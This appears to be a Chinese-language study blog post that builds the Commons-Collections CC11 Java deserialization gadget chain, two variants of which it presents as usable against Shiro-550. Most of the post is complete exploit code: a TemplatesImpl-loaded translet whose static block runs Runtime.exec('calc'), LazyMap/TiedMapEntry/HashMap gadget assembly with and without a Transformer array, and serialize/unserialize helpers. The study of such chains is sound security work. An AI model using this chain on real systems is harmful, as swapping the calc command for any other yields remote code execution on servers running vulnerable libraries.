CC11链

学习文章:https://drun1baby.top/2022/07/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8709-CC11%E9%93%BE/

前言

文章里很多就是重新把CC2和CC6,我也懒得过一遍了,所以后面就按照自己的想法来写一遍

环境搭建

和之前 CC1 一样的环境:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

  • CommonsCollections 3.1-3.2.1
  • jdk 版本无限制(这里用的 jdk8u65 )

分析链子+构造EXP

CC11链是 CC2+CC6 的结合体,这里学习一下是因为在 shiro550 的时候有用到CC11链来打,因为CC11链可以不用到数组

CC2笔记:https://yschen20.github.io/2026/01/29/CC2%E9%93%BE/

CC6笔记:https://yschen20.github.io/2026/01/07/CC6%E9%93%BE/

都是学过的就边分析边构造了

带Transformer[]数组版本

分析构造

先把工具方法都写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void setField(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}

还有要加载的恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

然后是main方法,首先尾部是和 CC2 一样通过加载 TemplatesImpl 字节码执行代码,直接把代码复制过来

1
2
3
4
5
6
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CC11");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

这里就是要去触发templates.newTransformer(),加上测试一下可以弹计算器,后续这一句要删去

image-20260210152435448

中间就是像CC3链里的一样,借用CC1链的Transformer[]ChainedTransformer

image-20260210153151553

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后是头部和 CC6 一样的,也是直接复制粘贴过来

1
2
3
4
5
6
7
Map map = new HashMap();
LazyMap decorator = (LazyMap) LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,"key");
HashMap<Object,Object> hashMap = new HashMap<>();
setField(tiedMapEntry,"map",new HashMap());
hashMap.put(tiedMapEntry,"123");
setField(tiedMapEntry,"map",decorator);

最后加个序列化和反序列化方法测试一下

先序列化,没问题,也没有提前弹计算器

image-20260210153356741

然后反序列化成功弹计算器了

image-20260210153436849

逻辑图

image-20260210161221953

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CC11");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
LazyMap decorator = (LazyMap) LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,"key");
HashMap<Object,Object> hashMap = new HashMap<>();
setField(tiedMapEntry,"map",new HashMap());
hashMap.put(tiedMapEntry,"123");
setField(tiedMapEntry,"map",decorator);

serialize(hashMap);
// unserialize("ser.bin");
}

public static void setField(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}

不带Transformer[]数组版本

分析构造

不使用Transformer[]的话就要像CC2一样用InvokerTransformer#transform去反射调用到TemplatesImpl.newTransformer

image-20260210153815450

1
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

还有就是要想办法将上面构造好的templates传进去,就是要传给InvokerTransformer.transform,所以可以在这个函数的入口处打一个断点,看看会是谁传进来的

image-20260210155038575

然后把之前的带数组的代码注释掉,替换成使用InvokerTransformer

image-20260210155202310

然后开始调试

image-20260210155231016

可以看到这里传入的是key,也就是下面这里

image-20260210155254889

这里的key就是LazyMap.get()的参数key,看下图这里,会将key作为参数传给transform()方法

image-20260210155704235

可以从逻辑图来看,就是原本传给ChainedTransformer.transform的东西,现在直接传给InvokerTransformer.transform

image-20260210155549774

所以就可以通过这里将构造好的templates传进去

image-20260210155954858

然后运行试试,序列化没问题

image-20260210160028057

反序列化成功弹计算器了

image-20260210160049494

逻辑图

image-20260210161049731

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CC11");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

Map map = new HashMap();
LazyMap decorator = (LazyMap) LazyMap.decorate(map,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,templates);
HashMap<Object,Object> hashMap = new HashMap<>();
setField(tiedMapEntry,"map",new HashMap());
hashMap.put(tiedMapEntry,"123");
setField(tiedMapEntry,"map",decorator);

serialize(hashMap);
unserialize("ser.bin");
}

public static void setField(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CC11");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

/// ========================================带数组的CC11链========================================
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer",null,null)
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// Map map = new HashMap();
// LazyMap decorator = (LazyMap) LazyMap.decorate(map,chainedTransformer);
// TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,"key");
/// ========================================带数组的CC11链========================================

/// ========================================不带数组的CC11链========================================
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map map = new HashMap();
LazyMap decorator = (LazyMap) LazyMap.decorate(map,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,templates);
/// ========================================不带数组的CC11链========================================

HashMap<Object,Object> hashMap = new HashMap<>();
setField(tiedMapEntry,"map",new HashMap());
hashMap.put(tiedMapEntry,"123");
setField(tiedMapEntry,"map",decorator);

serialize(hashMap);
unserialize("ser.bin");
}

public static void setField(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}


CC11链
https://yschen20.github.io/2026/02/10/CC11链/
作者
Suzen
发布于
2026年2月10日
更新于
2026年2月10日
许可协议